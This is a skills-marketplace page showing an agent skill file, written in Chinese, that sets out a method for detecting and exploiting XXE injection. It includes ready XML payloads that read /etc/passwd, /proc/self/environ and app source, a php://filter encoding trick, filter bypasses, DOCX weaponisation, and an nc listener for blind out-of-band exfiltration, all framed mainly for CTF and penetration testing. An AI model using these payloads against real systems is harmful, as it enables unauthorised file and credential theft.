Skip to main content

xxe-injection-methodology

XML外部实体注入(XXE)的检测与利用方法论。当目标有 XML 解析、SOAP API、文件上传(DOCX/XLSX/SVG)、或任何接受 XML 输入的端点时使用。包含基础文件读取、盲 XXE 外带(参数实体+外部DTD)、SVG/DOCX XXE、SOAP Envelope XXE、JSON→XML 转换攻击。即使 API 文档说只接受 JSON,也应尝试 XML Content-Type 测试隐式 XXE。

소스 정보

저장소
wgpsec/AboutSecurity
최근 소스 활동
2026년 4월 23일 03:16
감지된 SKILL.md 언어
중국어
스타
1,822
포크
253

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
5 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
xxe-injection-methodology
description
XML外部实体注入(XXE)的检测与利用方法论。当目标有 XML 解析、SOAP API、文件上传(DOCX/XLSX/SVG)、或任何接受 XML 输入的端点时使用。包含基础文件读取、盲 XXE 外带(参数实体+外部DTD)、SVG/DOCX XXE、SOAP Envelope XXE、JSON→XML 转换攻击。即使 API 文档说只接受 JSON,也应尝试 XML Content-Type 测试隐式 XXE。
metadata
{"tags":"xxe,xml,xml external entity,blind-xxe,dtd,soap,svg,docx,file-read,oob,parameter-entity,application/xml,text/xml,DOCTYPE,ENTITY,外部实体,xml解析,Content-Type: xml","category":"exploit"}
# XXE 注入攻击方法论 ## 深入参考 - XXE 文件读取、盲 XXE 外带、SVG/DOCX XXE、SOAP XXE 完整 payload → [references/xxe-exploitation.md](references/xxe-exploitation.md) - XXE 高级技术(盲注/OOB/文件上传/XInclude/编码绕过) → [references/xxe-advanced.md](references/xxe-advanced.md) --- ## Phase 1: 发现 XXE 入口 - Content-Type: `application/xml` 或 `text/xml` 的端点 - **将 JSON 请求改为 XML**:即使端点接受 JSON,也尝试发 XML(很多后端同时支持两种格式) - 文件上传(DOCX, XLSX, SVG 都是 XML 格式) - SOAP API(URL 含 `/ws/`、`/soap/`、`/wsdl/`) ## Phase 2: 基础 XXE 文件读取 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><data>&xxe;</data></root> ``` **关键**:`&xxe;` 必须放在会被回显的 XML 元素里! ### 常见目标文件 ``` file:///flag.txt file:///flag file:///app/flag.txt file:///etc/passwd file:///app/app.py file:///proc/self/environ ``` ## Phase 3: 利用决策树 ``` XXE 入口确认 ├─ SOAP 端点? → XXE 必须嵌入 SOAP Envelope!→ [references/xxe-exploitation.md](references/xxe-exploitation.md) ├─ 有回显? → 直接 ENTITY file:/// 读文件 ├─ 无回显? → 盲 XXE 参数实体 + 外部 DTD 外带 │ └─ 用 bash 运行 `python3 -m http.server` 或 `nc -lvp PORT` 接收 OOB 回调 │ └─ [references/xxe-exploitation.md](references/xxe-exploitation.md) ├─ PHP 目标? → php://filter/convert.base64-encode 绕过 XML 特殊字符 └─ 文件上传入口? → SVG/DOCX XXE → [references/xxe-exploitation.md](references/xxe-exploitation.md) ``` ## Phase 4: PHP 特殊技巧 PHP 文件含 `<` 等特殊字符会破坏 XML 解析,使用 php://filter base64 编码绕过: ```xml <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/config.php"> ``` ## Phase 5: JSON → XML 转换攻击 有些后端同时支持 JSON 和 XML,解析器自动选择格式: ``` Content-Type: application/xml ``` ```xml <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]> <root><username>&xxe;</username><password>test</password></root> ``` 即使文档说 JSON,也尝试 XML Content-Type,可能存在隐式支持。 ## XXE 防御绕过 - `<!DOCTYPE>` 被过滤 → 尝试 UTF-16 编码 - `ENTITY` 被过滤 → 尝试参数实体 `%xxe;` - `SYSTEM` 被过滤 → 尝试 `PUBLIC "x" "file:///flag"` ## 注意事项 - **XXE 本质上包含 SSRF**:`SYSTEM "http://..."` 就是服务端请求 - **XML 解析器差异**:Python lxml 默认禁用外部实体;Java 老版本默认启用 - **盲 XXE 需要外部服务器**:参数实体外带需要你控制一台服务器接收数据 --- ## CTF XXE 技巧补充 ### DOCX/Office XML 上传 XXE DOCX 是 ZIP 包含 XML,修改 `[Content_Types].xml` 注入 XXE: ```bash unzip template.docx # 编辑 [Content_Types].xml 添加 DOCTYPE + ENTITY zip -r exploit.docx . # 上传后服务端解析 XML 时触发 XXE ``` ### XML 注入点扩展 除了常规请求体,检查这些注入点: - `X-Forwarded-For` 等 Header 被写入 XML 日志时 - SVG 文件上传(SVG 是 XML) - SOAP/SAML 端点 - RSS/Atom feed 输入
GitHub에서 보기